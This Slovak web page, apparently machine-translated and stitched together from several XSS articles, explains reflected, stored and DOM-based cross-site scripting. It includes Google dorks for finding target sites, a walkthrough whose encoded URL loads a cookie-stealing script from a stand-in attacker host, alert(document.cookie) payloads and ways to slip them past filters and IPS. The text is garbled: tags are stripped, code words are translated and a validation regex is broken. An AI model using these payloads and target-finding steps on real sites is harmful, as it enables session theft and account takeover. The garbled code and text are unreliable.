dom_xss.html:30 Audítor XSS odmietol vykonať skript v 'http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);', pretože jeho zdrojový kód sa našiel v požiadavke . Audítor bol povolený, pretože server neodoslal hlavičku „X-XSS-Protection“ ani „Content-Security-Policy“.
Tie. prehliadač má teraz auditora XSS, ktorý sa pokúsi zabrániť XSS. Firefox túto funkcionalitu zatiaľ nemá, ale myslím si, že je to otázka času. Ak je implementácia v prehliadačoch úspešná, potom môžeme hovoriť o výraznej obtiažnosti pri používaní XSS.
Je dobré si zapamätať, že moderné prehliadače podnikajú kroky na obmedzenie úrovne vykorisťovateľských problémov, ako sú neperzistentné XSS a XSS založené na DOM. Na to treba pamätať aj pri testovaní webových stránok pomocou prehliadača – môže sa ukázať, že webová aplikácia je zraniteľná, ale vyskakovacie potvrdenie nevidíte len preto, že ju prehliadač blokuje.
Príklady využitia XSSÚtočníci, ktorí majú v úmysle zneužiť chyby zabezpečenia skriptovania medzi lokalitami, musia pristupovať ku každej triede zraniteľnosti odlišne. Útočné vektory pre každú triedu sú opísané tu.
Pre zraniteľnosti XSS môžu útoky použiť BeEF, ktoré rozširuje útok z webovej stránky na lokálne prostredie používateľov.
Príklad neperzistentného XSS útoku
1. Alice často navštevuje určitú webovú stránku hostenú Bobom. Bobova webová stránka umožňuje Alici prihlásiť sa pomocou používateľského mena/hesla a uchovávať citlivé údaje, ako sú informácie o platbe. Keď sa používateľ prihlási, prehliadač ukladá autorizačné cookies, ktoré vyzerajú ako nezmyselné znaky, t.j. oba počítače (klient aj server) si pamätajú, že zadala.
2. Mallory poznamenáva, že Bobova webová stránka obsahuje netrvalú chybu zabezpečenia XSS:
2.1 Keď navštívite stránku vyhľadávania, zadajte hľadaný reťazec a kliknite na tlačidlo Odoslať, ak sa nenájdu žiadne výsledky, stránka zobrazí zadaný hľadaný reťazec nasledovaný slovami „nenájdené“ a adresa URL bude vyzerať takto: http://bobssite .org?q= jej vyhľadávací dopyt
2.2 Pri normálnom vyhľadávacom dopyte, akým je napríklad slovo „psi“, sa na stránke jednoducho zobrazí „nenájdený žiadny pes“ a adresa URL http://bobssite.org?q=dogs, čo je celkom normálne správanie.
2.3 Ak však dôjde k anomálnemu vyhľadávaciemu dopytu, napríklad alert(‚xss‘); :
2.3.1 Zobrazí sa varovné hlásenie (ktoré hovorí „xss“).
2.3.2 Na stránke sa zobrazí upozornenie (‚xss‘); sa nenašlo spolu s chybovým hlásením s textom „xss“.
2.3.3 url vhodná na využitie http://bobssite.org?q=alert('xss');
3. Mallory vytvorí adresu URL na zneužitie tejto zraniteľnosti:
3.1 Vytvorí adresu URL http://bobssite.org?q=puppies. Môže sa rozhodnúť previesť znaky ASCII do hexadecimálneho formátu, napríklad http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E v poradí aby sa zabránilo ľuďom okamžite rozlúštiť škodlivú adresu URL.
3.2 Pošle e-maily niektorým nič netušiacim členom Bobovej stránky so slovami: "Pozrite sa na skvelých psov."
4. Alica dostane list. Miluje psov a klikne na odkaz. Vo vyhľadávaní prejde na Bobovu stránku, nič nenájde, zobrazí sa tam „no dog found“ a úplne uprostred sa spustí značka so skriptom (na obrazovke je neviditeľný), stiahne a spustí Maloryho program authstealer.js (spustenie XSS útoku). Alice na to zabudla.
5. Program authstealer.js beží v Alicinom prehliadači, ako keby pochádzal z Bobovej webovej stránky. Zoberie kópiu Aliciných autorizačných cookies a pošle ich na Maloryho server, kde ich Malory získa.
7. Teraz, keď je Malorie vnútri, prejde do platobnej sekcie webovej stránky, pozrie sa a ukradne kópiu čísla Alicinej kreditnej karty. Potom ide a zmení heslo, t.j. Teraz už Alice nemôže ani vojsť.
8. Rozhodne sa urobiť ďalší krok a pošle takto vytvorený odkaz samotnému Bobovi, čím získa administrátorské privilégiá pre Bobovu stránku.
Trvalý útok XSS
Dorky pre XSS
Prvým krokom je výber stránok, na ktorých budeme vykonávať XSS útoky. Stránky je možné vyhľadávať pomocou Google dorks. Tu je niekoľko z týchto dork, ktoré môžete skopírovať a vložiť do vyhľadávania Google:
- inurl:search.php?q=
- inurl:.php?q=
- inurl:search.php
- inurl:.php?search=
Otvorí sa pred nami zoznam stránok. Musíte otvoriť stránku a nájsť na nej vstupné polia, ako je formulár spätnej väzby, vstupný formulár, vyhľadávanie na stránke atď.
Hneď podotýkam, že je takmer zbytočné hľadať zraniteľnosti v obľúbených automaticky aktualizovaných webových aplikáciách. Klasickým príkladom takejto aplikácie je WordPress. V skutočnosti sú vo WordPresse a najmä v jeho doplnkoch slabé miesta. Okrem toho existuje veľa stránok, ktoré neaktualizujú ani engine WordPress (kvôli tomu, že správca webu vykonal nejaké zmeny v zdrojovom kóde), ani ich pluginy a témy (spravidla ide o pirátske pluginy a témy). Ak si ale prečítate túto časť a dozviete sa z nej niečo nové, tak WordPress ešte nie je pre vás... Určite sa k nemu neskôr vrátime.
Najlepšími cieľmi sú rôzne nástroje a skripty, ktoré si sami napíšu.
Môžete si vybrať vložiť užitočné zaťaženie ako
upozornenie (1)
Venujte pozornosť tomu, do ktorých značiek HTML kódu spadá váš vložený kód. Tu je príklad typického vstupného poľa
< input type = "text" class = "ui-input query" name = "q" value = "obliečka na vankúš" />< script >upozornenie (1)< input value = "" />
Náš náklad skončí tam, kde je teraz slovo „obliečka na vankúš“. Tie. premeniť na hodnotu vstupného tagu. Tomu sa môžeme vyhnúť uzavretím dvojitej úvodzovky a potom samotnej značky pomocou „/>
"/>upozornenie (1)
Programy na vyhľadávanie a skenovanie zraniteľností XSSPravdepodobne všetky skenery webových aplikácií majú vstavaný skener zraniteľnosti XSS. Táto téma nie je obsiahla, je lepšie sa s každým podobným skenerom zoznámiť samostatne.
Existujú aj špecializované nástroje na skenovanie zraniteľností XSS. Spomedzi nich môžeme osobitne zdôrazniť:
- XSSer nie je len výkonný skener, ktorý dokáže využívať rôzne metódy vstrekovania a obchádzania filtrovania, ale je to aj automatizovaný nástroj na vyhľadávanie stránok náchylných na XSS (dorks). Pre stránky s nájdenými zraniteľnými miestami môže priniesť užitočné zaťaženie pre skutočný útok;
- XssPy je tiež pomerne nezávislý nástroj, ktorý dokáže nájsť všetky stránky webu (vrátane tých na subdoménach) a skontrolovať všetky vstupné prvky na týchto stránkach;
- BruteXSS – pozitívnou vlastnosťou tohto nástroja je úplné vylúčenie falošných poplachov.
Väčšina sád zraniteľných webových aplikácií (okrem niektorých vysoko špecializovaných) obsahuje stránky, ktoré sú zraniteľné voči XSS. Najlepšou možnosťou je použiť ich v offline vzdelávacom prostredí Dojo, ktoré zhromaždilo mnoho aplikácií na testovanie. Môžete napríklad trénovať svoje zručnosti v identifikácii a využívaní XSS:
Sakra zraniteľná webová aplikácia (DVWA):
- http://localhost/dvwa/vulnerabilities/xss_r/ (nepretrvávajúce XSS)
- http://localhost/dvwa/vulnerabilities/xss_s/ (uložené XSS)
Mutillidae/NOWASP (veľa rôznych variácií XSS)
- http://localhost/mutillidae/
Všetci vieme, čo je skriptovanie medzi stránkami, však? Ide o zraniteľnosť, pri ktorej útočník odosiela škodlivé údaje (zvyčajne HTML s kódom Javascript), ktoré aplikácia neskôr vráti a spôsobí spustenie kódu Javascript. Tak toto nie je pravda! Existuje typ XSS útoku, ktorý nezodpovedá tejto definícii, aspoň v jej základných základných princípoch. XSS útoky, ako sú definované vyššie, sa delia na okamžité (škodlivé údaje sú vložené do stránky, ktorá sa vráti prehliadaču ihneď po požiadavke) a oneskorené (škodlivé údaje sú vrátené po určitom čase). Existuje však aj tretí typ útoku XSS, ktorý nie je založený na odosielaní škodlivých údajov na server. Hoci sa to zdá kontraintuitívne, existujú dva dobre zdokumentované príklady takéhoto útoku. Tento článok popisuje tretí typ XSS útokov – XSS cez DOM (DOM Based XSS). O útoku sa tu nebude písať nič zásadné nové, skôr inovácia tohto materiálu je vo zvýraznení charakteristických čŕt útoku, ktoré sú veľmi dôležité a zaujímavé.
Vývojári a používatelia aplikácií musia pochopiť princípy XSS útokov cez DOM, pretože predstavujú hrozbu pre webové aplikácie a sú odlišné od bežných XSS. Na internete existuje veľa webových aplikácií, ktoré sú zraniteľné voči XSS cez DOM a zároveň testované na XSS a zistilo sa, že sú „nezraniteľné“ voči tomuto typu útoku. Vývojári a správcovia stránok by sa mali oboznámiť s technikami detekcie a ochrany pred XSS prostredníctvom DOM, pretože tieto techniky sa líšia od techník používaných na riešenie štandardných zraniteľností XSS.
ÚvodČitateľ by mal poznať základné princípy XSS útokov (, , , , ). XSS zvyčajne označuje okamžité () a lenivé skriptovanie medzi stránkami. Pri instant XSS je škodlivý kód (Javascript) vrátený napadnutým serverom okamžite ako odpoveď na HTTP požiadavku. Lazy XSS znamená, že škodlivý kód je uložený v napadnutom systéme a môže byť neskôr vložený do HTML stránky zraniteľného systému. Ako je uvedené vyššie, táto klasifikácia predpokladá, že základnou vlastnosťou XSS je, že škodlivý kód sa odosiela z prehliadača na server a vracia sa do rovnakého prehliadača (flash XSS) alebo akéhokoľvek iného prehliadača (oneskorené XSS). Tento článok nastoľuje problém, že ide o nesprávne zaradenie. Schopnosť vykonať útok XSS, ktorý sa nespolieha na vloženie kódu do stránky vrátenej serverom, by mala veľký vplyv na bezpečnosť a techniky detekcie. Princípy takýchto útokov sú popísané v tomto článku.
Príklad a komentárePred popisom najjednoduchšieho scenára útoku je dôležité zdôrazniť, že tu opísané metódy už boli niekoľkokrát verejne demonštrované (napríklad , a ). Netvrdím, že nižšie uvedené metódy sú popísané prvýkrát (hoci niektoré sa líšia od predtým publikovaných materiálov).
Znakom zraniteľnej stránky môže byť prítomnosť HTML stránky, ktorá využíva údaje z document.location, document.URL alebo document.referrer (alebo akýchkoľvek iných objektov, ktoré môže útočník ovplyvniť) nezabezpečeným spôsobom.
Poznámka pre čitateľov, ktorí nie sú oboznámení s týmito objektmi Javascript: Keď kód Javascript beží v prehliadači, pristupuje k niekoľkým objektom reprezentovaným v rámci DOM (Document Object Model). Objekt dokumentu je hlavným z týchto objektov a poskytuje prístup k väčšine vlastností stránky. Tento objekt obsahuje veľa vnorených objektov, ako je umiestnenie, adresa URL a sprostredkovateľ. Sú ovládané prehliadačom podľa pohľadu prehliadača (ako uvidíme nižšie, je to dosť podstatné). Takže document.URL a document.location obsahujú URL stránky, presnejšie to, čo prehliadač myslí URL. Upozorňujeme, že tieto objekty nie sú prevzaté z tela stránky HTML. Objekt dokumentu obsahuje objekt tela obsahujúci analyzovaný kód HTML stránky.
Nie je ťažké nájsť HTML stránku obsahujúcu kód Javascript, ktorý analyzuje URL reťazec (prístupný cez document.URL alebo document.location) a podľa svojej hodnoty vykonáva niektoré akcie na strane klienta. Nižšie je uvedený príklad takéhoto kódu.
Analogicky s príkladom v zvážte nasledujúcu stránku HTML (za predpokladu, že obsah je http://www.vulnerable.site/welcome.html):
Vitajte! Ahoj var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length));
Vitajte v našom systéme…
Avšak takýto dotaz -
http://www.vulnerable.site/welcome.html?name=alert(document.cookie)
spôsobí XSS. Pozrime sa prečo: prehliadač obete po prijatí tohto odkazu odošle HTTP požiadavku na www.vulnerable.site a prijme vyššie uvedenú (statickú!) HTML stránku. Prehliadač obete začne analyzovať tento HTML kód. DOM obsahuje objekt dokumentu, ktorý má pole URL a toto pole je vyplnené hodnotou adresy URL aktuálnej stránky počas vytvárania modelu DOM. Keď parser dosiahne kód Javascript, vykoná ho, čo spôsobí úpravu HTML kódu zobrazenej stránky. V tomto prípade kód odkazuje na document.URL a keďže časť tohto reťazca je počas analýzy vložená do kódu HTML, ktorý sa okamžite analyzuje, zistený kód (alert(...)) sa spustí v kontexte tej istej stránky.
Poznámky:
1. Škodlivý kód nie je vložený do stránky HTML (na rozdiel od iných typov XSS).
2. Tento exploit bude fungovať za predpokladu, že prehliadač nezmení znaky URL. Mozilla automaticky kóduje znaky '' (v %3C a %3E) vo vnorených objektoch dokumentu. Ak bola adresa URL zadaná priamo do panela s adresou, tento prehliadač nie je zraniteľný voči útoku opísanému v tomto príklade. Ak však útok nevyžaduje znaky '' (v pôvodnej nezakódovanej forme), útok možno vykonať. Microsoft Internet Explorer 6.0 nekóduje '', a preto je zraniteľný voči opísanému útoku bez akýchkoľvek obmedzení. Existuje však veľa rôznych scenárov útoku, ktoré nevyžadujú '', a preto ani Mozilla nie je imúnna voči tomuto útoku.
Vo vyššie uvedenom príklade je škodlivý kód stále odosielaný na server (ako súčasť HTTP požiadavky), takže útok môže byť detekovaný rovnako ako akýkoľvek iný XSS útok. Ale toto je riešiteľný problém.
Zvážte nasledujúci príklad:
http://www.vulnerable.site/welcome.html#name=alert(document.cookie)
Všimnite si symbol '#' napravo od názvu súboru. Oznamuje prehliadaču, že všetko za týmto znakom nie je súčasťou požiadavky. Microsoft Internet Explorer (6.0) a Mozilla neposielajú na server fragment za znakom '#', takže pre server bude táto požiadavka ekvivalentná http://www.vulnerable.site/welcome.html, t.j. škodlivý kód si server ani nevšimne. Vďaka tejto technike teda prehliadač neposiela na server škodlivý obsah.
V niektorých prípadoch však nie je možné skryť obsah: škodlivý obsah je súčasťou používateľského mena v adrese URL, napríklad http://username@host/. V tomto prípade prehliadač odošle požiadavku s autorizačnou hlavičkou obsahujúcou užívateľské meno (škodlivý náklad), čo má za následok, že sa na server dostane škodlivý kód (kódovaný Base64 – preto musí IDS/IPS tieto údaje najprv dekódovať, aby bolo možné útok zistiť). Server však nemusí vložiť toto užitočné zaťaženie do jednej z dostupných stránok HTML, aj keď je to nevyhnutná podmienka na vykonanie útoku XSS.
Je zrejmé, že v situáciách, keď môže byť užitočné zaťaženie úplne skryté, nástroje detekcie (IPS) a prevencie (IPS, brány firewall webových aplikácií) nedokážu úplne ochrániť pred týmto útokom. Aj keď je potrebné dátové zaťaženie odoslať na server, v mnohých prípadoch sa môže určitým spôsobom transformovať, aby sa zabránilo odhaleniu. Napríklad, ak je niektorý parameter chránený (napríklad parameter name v príklade vyššie), malá zmena v útočnom skripte môže spôsobiť nasledujúci výsledok:
(document.cookie)
Prísnejšia bezpečnostná politika by vyžadovala odoslanie parametra name. V tomto prípade môžete podať nasledujúcu žiadosť:
http://www.vulnerable.site/welcome.html?notname=alert(document.cookie)&name=Joe
Ak vaša bezpečnostná politika obmedzuje názvy ďalších parametrov (napríklad: foobar), môžete použiť nasledujúcu možnosť:
http://www.vulnerable.site/welcome.html?foobar=name=alert(document.cookie)&name=Joe
Upozorňujeme, že ignorovaný parameter (foobar) musí byť na prvom mieste a vo svojej hodnote musí obsahovať užitočné zaťaženie.
Scenár útoku popísaný v časti je pre útočníka ešte výhodnejší, pretože plná hodnota document.location je zapísaná do stránky HTML (kód Javascript nehľadá konkrétny názov parametra). Útočník by teda mohol úplne skryť užitočné zaťaženie odoslaním nasledujúceho:
/attachment.cgi?id=&action=foobar#alert(document.cookie)
Aj keď je užitočné zaťaženie analyzované serverom, ochranu je možné zaručiť iba vtedy, ak je požiadavka odmietnutá alebo je odpoveď nahradená nejakým chybovým textom. Opäť s odkazom na a: ak je hlavička Autorizácie jednoducho odstránená prostredným bezpečnostným systémom, nebude to mať žiadny účinok, ak sa vráti pôvodná stránka. Podobne akýkoľvek pokus o spracovanie údajov na serveri odstránením alebo zakódovaním nepovolených znakov bude proti tomuto útoku neúčinný.
V prípade document.referrer sa dáta odosielajú na server cez hlavičku Referer. Ak však prehliadač používateľa alebo prechodná ochrana túto hlavičku odstráni, po útoku nezostane ani stopa, ktorá môže zostať úplne neodhalená.
Aby sme to zhrnuli, dospeli sme k záveru, že tradičné metódy, tj
1. Kódovanie údajov HTML na strane servera
2. Odstránenie/kódovanie zakázaných vstupov na strane servera nefunguje proti DOM XSS.
Automatické vyhľadávanie zraniteľností „bombardovaním“ škodlivých údajov (niekedy nazývané fuzzing) nebude fungovať, pretože programy používajúce túto techniku zvyčajne robia závery na základe toho, či sú vložené údaje prítomné na vrátenej stránke alebo nie (namiesto spustenia kódu v kontexte prehliadača na strane klienta a sledovanie výsledkov). Ak však program dokáže staticky analyzovať kód Javascript nachádzajúci sa na stránke, môže upozorňovať na podozrivé znaky (pozri nižšie). A samozrejme, ak bezpečnostné nástroje dokážu spustiť kód Javascript (a správne inicializovať objekty DOM) alebo takéto spustenie emulovať, dokážu tento útok odhaliť.
Manuálne vyhľadávanie zraniteľnosti pomocou prehliadača bude tiež fungovať, pretože prehliadač môže spustiť kód Javascript na strane klienta. Nástroje proti zraniteľnosti môžu prijať túto metódu a spustiť kód na strane klienta na monitorovanie výsledkov jej vykonávania.
Účinná ochrana
Vyhnite sa prepisovaniu dokumentov na strane klienta, presmerovaniam alebo iným podobným akciám, ktoré používajú údaje na strane klienta. Väčšinu týchto akcií je možné vykonať pomocou dynamických stránok (na strane servera).
2.
Analýza a zlepšenie bezpečnosti kódu (Javascript) na strane klienta. Odkazy na objekty DOM, ktoré môže používateľ (útočník) ovplyvniť, musia byť dôkladne skontrolované. Osobitná pozornosť by sa mala venovať nasledujúcim objektom (ale nie výlučne):
* document.URL
* document.URLNekódované
* document.location (a jeho vlastnosti)
* document.referrer
* window.location (a jeho vlastnosti)
Všimnite si, že na vlastnosti objektu dokumentu a okna možno odkazovať niekoľkými spôsobmi: explicitne (príklad: window.location), implicitne (príklad: location) alebo získaním handle a jeho použitím (príklad: handle_to_some_window.location).
Osobitná pozornosť by sa mala venovať kódu, v ktorom sa modifikuje DOM, či už explicitne alebo potenciálne, prostredníctvom priameho prístupu k HTML alebo prostredníctvom priameho prístupu k DOM. Príklady (toto v žiadnom prípade nie je úplný zoznam):
* Zadajte kód HTML stránky:
o document.write(…)
o document.writeln(…)
o document.body.innerHtml=…
* Priama zmena DOM (vrátane udalostí DHTML):
o document.forms.action=… (a ďalšie variácie)
o document.attachEvent(…)
o document.create… (…)
o document.execCommand(…)
o dokument.telo. ... (prístup k DOM cez objekt tela)
o window.attachEvent(…)
* Zmena adresy URL dokumentu:
o document.location=… (rovnako ako priradenie hodnôt href, host a hostname k objektu location)
o document.location.hostname=…
o document.location.replace(…)
o document.location.assign(…)
o document.URL=…
o window.navigate(…)
* Otvorenie/úprava objektu okna:
o document.open(…)
o window.open(…)
o window.location.href=… (rovnako ako priradenie hodnôt hostiteľa a názvu hostiteľa k objektu umiestnenia)
* Priame spustenie skriptu:
o eval (…)
o window.execScript(…)
o window.setInterval(…)
o window.setTimeout(…)
Pokračovaním vo vyššie uvedenom príklade je možné pre účinnú ochranu nahradiť pôvodný skript nasledujúcim kódom, ktorý kontroluje, či reťazec zapísaný na stránku HTML obsahuje iba alfanumerické znaky.
var pos=document.URL.indexOf("name=")+5; var name=document.URL.substring(pos,document.URL.length); if (name.match(/^$/)) ( document.write(name); ) else ( window.alert("Chyba zabezpečenia"); )
Takáto funkčnosť môže (a pravdepodobne by mala byť) implementovaná prostredníctvom univerzálnej knižnice riadenia údajov (t. j. prostredníctvom súboru funkcií Javascript, ktoré overujú/modifikujú vstupné údaje). Nevýhodou tejto metódy je, že princíp fungovania ochrany je prístupný útočníkom, pretože ochrana je implementovaná v HTML kóde. To uľahčuje analýzu a plánovanie útoku. Vo vyššie uvedenom príklade je situácia celkom jednoduchá, pričom bezpečnostné kontroly v zložitejších skriptoch majú ďaleko k dokonalosti, čo umožňuje nájsť spôsoby, ako ochranu obísť.
3. Používajte prísne pravidlá IPS, v ktorých je napríklad stránke welcome.html povolené prijímať jediný parameter s názvom „name“, ktorého hodnota je kontrolovaná a akýkoľvek nesúlad (vrátane nadbytočných parametrov alebo chýbajúcich parametrov) má za následok odmietnutie služby pôvodným stránkam, ako aj akékoľvek iné porušenie (napríklad hlavičky Authorization alebo Referer obsahujúce problematické údaje). Aj keď v niektorých prípadoch ani takéto opatrenia nezaručujú úplnú ochranu pred napadnutím.
Cross-site scripting (XSS) označuje útok na vloženie kódu na strane klienta, pri ktorom môže útočník spustiť škodlivé skripty na webovej lokalite alebo webovej aplikácii. XSS je jednou z najbežnejších zraniteľností webových aplikácií a vyskytuje sa, keď webová aplikácia nepoužíva overenie vstupu/výstupu alebo kódovanie.
Použitím XSS sa útočník nezameriava priamo na obeť. Namiesto toho využije zraniteľnosť webovej stránky alebo webovej aplikácie, ktorú obeť navštívi, pričom zraniteľnú webovú stránku v podstate použije ako prostriedok na doručenie škodlivého skriptu do prehliadača obete.
Zatiaľ čo XSS je možné použiť v jazykoch VBScript, ActiveX a Flash (hoci ten druhý sa v súčasnosti považuje za zastaraný), v JavaScripte je nepochybne najviac zneužívaný – predovšetkým preto, že JavaScript je základom väčšiny webových stránok.
Ako funguje skriptovanie medzi stránkami
Na spustenie škodlivého kódu JavaScript v prehliadači obete musí útočník najprv nájsť spôsob, ako vložiť užitočné zaťaženie do webovej stránky, ktorú obeť navštevuje. Útočník by, samozrejme, mohol použiť techniky sociálneho inžinierstva, aby presvedčil používateľa, aby navštívil zraniteľnú stránku s vloženým užitočným zaťažením JavaScriptu.
Aby došlo k útoku XSS, zraniteľná webová lokalita musí na svojich stránkach priamo zahrnúť vstup používateľa. Útočník potom môže vložiť reťazec, ktorý bude použitý na webovej stránke a spracovaný ako kód prehliadačom obete.
Nasledujúci pseudokód na strane servera sa používa na zobrazenie najnovšieho komentára na webovej stránke.
Print "" print "Najnovší komentár" print database.latestComment print "" Vyššie uvedený skript jednoducho vytlačí najnovší komentár z databázy komentárov a vytlačí obsah na HTML stránke, za predpokladu, že vytlačený komentár pozostáva len z textu.
Vyššie uvedený kód stránky je zraniteľný voči xss, pretože útočník môže zanechať komentár, ktorý obsahuje škodlivý obsah, napr.
doSomethingEvil();. Používatelia, ktorí navštívia webovú stránku, dostanú nasledujúcu stránku HTML.
Najnovší komentár doSomethingEvil(); Keď sa stránka načíta v prehliadači obete, spustí sa škodlivý skript útočníka, najčastejšie bez vedomia používateľa alebo schopnosti zabrániť takémuto útoku.
Dôležitá poznámka: -xss zraniteľnosť môže existovať iba vtedy, ak sa užitočné zaťaženie (škodlivý skript), ktoré útočník vloží, nakoniec vykreslí (ako HTML v tomto prípade) v prehliadači obete
Čo môže útočník urobiť s JavaScriptom?
Dôsledky toho, čo môže útočník urobiť so schopnosťou spúšťať JavaScript na webovej stránke, nemusia byť okamžite zrejmé, najmä preto, že prehliadače spúšťajú JavaScript vo veľmi prísne kontrolovanom prostredí a že JavaScript má obmedzený prístup k operačnému systému používateľa a súborom používateľa. .
Avšak vzhľadom na to, že JavaScript má prístup k nasledujúcemu, je ľahšie pochopiť, čo môžu kreatívni útočníci získať pomocou JavaScriptu.
Škodlivý JavaScript má prístup ku všetkým rovnakým objektom ako zvyšok webovej stránky, vrátane prístupu k súborom cookie. Súbory cookie sa často používajú na ukladanie tokenov relácie; ak útočník môže získať súbor cookie relácie používateľa, môže sa za tohto používateľa vydať.
JavaScript môže použiť XMLHttpRequest na odosielanie http požiadaviek s ľubovoľným obsahom v ľubovoľných smeroch.
JavaScript v moderných prehliadačoch môže využívať HTML5 API, ako je prístup k geolokácii používateľa, webovej kamere, mikrofónu a dokonca aj k špecifickým súborom zo súborového systému používateľa. Zatiaľ čo väčšina týchto rozhraní API vyžaduje interakciu používateľa, XSS v kombinácii s nejakým šikovným sociálnym inžinierstvom môže útočníkovi priniesť celkom dobré výsledky.
Vo všeobecnosti tieto metódy v kombinácii so sociálnym inžinierstvom umožňujú útočníkom organizovať útoky, ako je krádež cookies, keylogging, phishing a krádež identity. Najdôležitejšie je, že zraniteľné miesta XSS poskytujú útočníkom perfektnú živnú pôdu na eskaláciu útokov na závažnejšie.
Nie je skriptovanie medzi stránkami problém používateľa?
Nie Ak môže útočník zneužiť zraniteľnosť XSS na webovej stránke na spustenie ľubovoľného JavaScriptu v prehliadači návštevníka, bezpečnosť tejto webovej stránky alebo webovej aplikácie a jej používateľov bola ohrozená – xss nie je problémom používateľa ani žiadna iná bezpečnostná chyba, ak ovplyvní to vašich používateľov, ovplyvní to aj vás.
Anatómia cross-site skriptovacieho útoku
Útok Xss vyžaduje troch účastníkov: lokalitu, obeť a útočníka. Príklad nižšie predpokladá, že cieľom útočníka je vydávať sa za obeť ukradnutím súborov cookie obete. Odoslanie súborov cookie na server útočníka je možné vykonať rôznymi spôsobmi, jedným z nich je spustenie nasledujúceho kódu JavaScript v prehliadači obete pomocou zraniteľnosti XSS.
window.?cookie=” + document.cookie Obrázok nižšie ukazuje krok za krokom návod na jednoduchý XSS útok.
- Útočník zadá užitočné zaťaženie do databázy webovej lokality odoslaním zraniteľného formulára pomocou škodlivého kódu JavaScript
- Obeť požaduje webovú stránku z webovej stránky
- Webová stránka poskytuje prehliadaču obete stránku s užitočným zaťažením útočníka ako súčasť tela HTML.
- Prehliadač obete spustí škodlivý skript v tele HTML. V tomto prípade odošle súbory cookie obete na server útočníka. Teraz musí útočník jednoducho extrahovať súbor cookie obete, keď na server dorazí požiadavka HTTP, a potom môže útočník použiť ukradnutý súbor cookie obete.
Nižšie je uvedený malý zoznam scenárov útokov XSS, ktoré môže útočník použiť na ohrozenie bezpečnosti webovej lokality alebo webovej aplikácie.
tag
Táto značka je najpriamejšou xss zraniteľnosťou. Značka skriptu môže odkazovať na externý kód JavaScript.
upozornenie("XSS"); tag
Pomocou xss možno injekciu doručiť do značky pomocou atribútu onload alebo iného tmavšieho atribútu, ako je napríklad pozadie.
tag Niektoré prehliadače spustia JavaScript, keď je v
.
tag Tento tag vám umožňuje vložiť ďalšiu HTML stránku do nadradenej stránky. IFrame môže obsahovať JavaScript, je však dôležité si uvedomiť, že JavaScript v iFrame nemá prístup k DOM nadradenej stránky kvôli zásadám zabezpečenia obsahu prehliadača (CSP). IFrame sú však stále veľmi účinným prostriedkom phishingových útokov.
tag
Ak je v niektorých prehliadačoch atribút typu tejto značky nastavený na obrázok, možno ho použiť na hosťovanie skriptu.
tag
Značka, ktorá sa často používa na prepojenie s externými šablónami štýlov, môže obsahovať skript.
| tagy môžete určiť pozadie a teda vložiť skript. tag Túto značku možno použiť na zahrnutie do skriptu z externého webu. Je vaša stránka zraniteľná voči skriptovaniu medzi stránkami? Zraniteľnosť XSS patrí medzi najbežnejšie zraniteľnosti webových aplikácií na internete. Našťastie je ľahké skontrolovať, či je vaša webová stránka alebo webová aplikácia zraniteľná voči XSS a iným zraniteľnostiam, stačí ma kontaktovať. Za malý poplatok pomocou špeciálnych programov naskenujem váš zdroj, nájdem potenciálne zraniteľné miesta a poviem vám, ako ich odstrániť.
Články k téme Najnovšie články
Voľba redaktora
|
Niekoľko spôsobov, ako uložiť svoje vlastné príbehy a príbehy iných ľudí na Instagrame Stiahnite si príbehy z Instagramu zz
Celoruský klasifikátor organizačných a právnych foriem (okopf) Názov a organizačná a právna forma podľa okopf
Náš výber: najlepšie kalendárové aplikácie pre Android Najlepší kalendár pre Android
Formát flac, ktorý telefóny podporujú
YouTube zverejnil zoznam najvplyvnejších blogeriek